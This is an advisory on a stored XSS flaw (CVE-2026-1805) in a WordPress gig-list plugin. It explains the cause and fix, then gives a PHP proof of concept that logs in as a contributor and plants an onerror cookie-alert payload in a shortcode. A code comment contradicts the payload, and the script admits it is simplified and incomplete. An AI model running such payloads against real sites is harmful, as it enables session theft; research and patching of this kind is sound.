Atomic Edge analysis of CVE-2026-1805 (metadata-based):
The vulnerability is a stored cross-site scripting (XSS) flaw in the DA Media GigList WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description states insufficient input sanitization and output escaping on user-supplied attributes for the `damedia_giglist` shortcode. The attack vector targets the `list_title` shortcode attribute. Authenticated attackers with contributor-level access or higher can inject malicious scripts into pages using the shortcode. The scripts execute when users view the compromised page.
Atomic Edge research infers the root cause from the CWE classification. The plugin likely registers a shortcode handler function for `damedia_giglist`. This function receives user-controlled attributes, including `list_title`. The handler fails to sanitize the `list_title` attribute value before storing it in the database. The plugin also fails to escape the attribute value when outputting it in the frontend HTML. This creates a classic stored XSS condition.
The exploitation method involves an authenticated user creating or editing a post or page. The attacker inserts the `[damedia_giglist]` shortcode with a malicious `list_title` attribute containing JavaScript. WordPress stores this content. When any visitor loads the page, WordPress executes the shortcode handler. The handler outputs the unsanitized `list_title` value without escaping, causing script execution in the victim’s browser.
A fix requires two code changes. First, the shortcode handler must sanitize the `list_title` attribute on input using `sanitize_text_field()` or a similar WordPress sanitization function. Second, the handler must escape the attribute on output using `esc_attr()` when echoing the value in HTML attributes, or `wp_kses_post()` if outputting within HTML content.
Exploitation impact includes session hijacking, administrative actions performed by victims, defacement, and malware distribution. The CVSS vector indicates network attack vector, low attack complexity, low privileges required, no user interaction, and scope change with low confidentiality and integrity impact. The scope change (S:C) suggests the vulnerability may affect other site components beyond the plugin’s own security context.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1805 - DA Media GigList <= 1.9.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'list_title' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-1805
* Assumptions:
* 1. The target WordPress site has DA Media GigList plugin <= 1.9.0 installed.
* 2. Valid contributor-level credentials are available.
* 3. The plugin's shortcode handler does not sanitize/escape the 'list_title' attribute.
* 4. The attacker can create/edit posts/pages with shortcodes.
*/
$target_url = 'https://example.com/wp-admin/post-new.php';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: XSS via list_title attribute in damedia_giglist shortcode
// Using onmouseover for demonstration (requires user interaction).
// Real attacks would use onload or script tags for automatic execution.
$shortcode_payload = '[damedia_giglist list_title="<img src=x onerror=alert(document.cookie)>"]';
// Initialize cURL session for WordPress login
$ch = curl_init();
// First, get the login page to retrieve nonce and cookies
curl_setopt($ch, CURLOPT_URL, 'https://example.com/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$login_page = curl_exec($ch);
// Extract login nonce (WordPress uses 'log' and 'pwd' fields, nonce in 'wp_nonce')
// This is a simplified example; real implementation needs DOM parsing.
// Perform login
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'https://example.com/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, 'https://example.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check if login succeeded (simplified)
if (strpos($login_response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Now create a new post with the malicious shortcode
$post_data = [
'post_title' => 'Test Post with XSS',
'content' => $shortcode_payload,
'post_status' => 'draft',
'action' => 'editpost',
'_wpnonce' => '', // Would need to extract actual nonce
'post_type' => 'post'
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
// Verify the shortcode was inserted
if (strpos($post_response, $shortcode_payload) !== false) {
echo "Exploit successful. Post created with malicious shortcode.n";
echo "Visit the post to trigger XSS payload.n";
} else {
echo "Post creation may have failed.n";
}
curl_close($ch);
?>
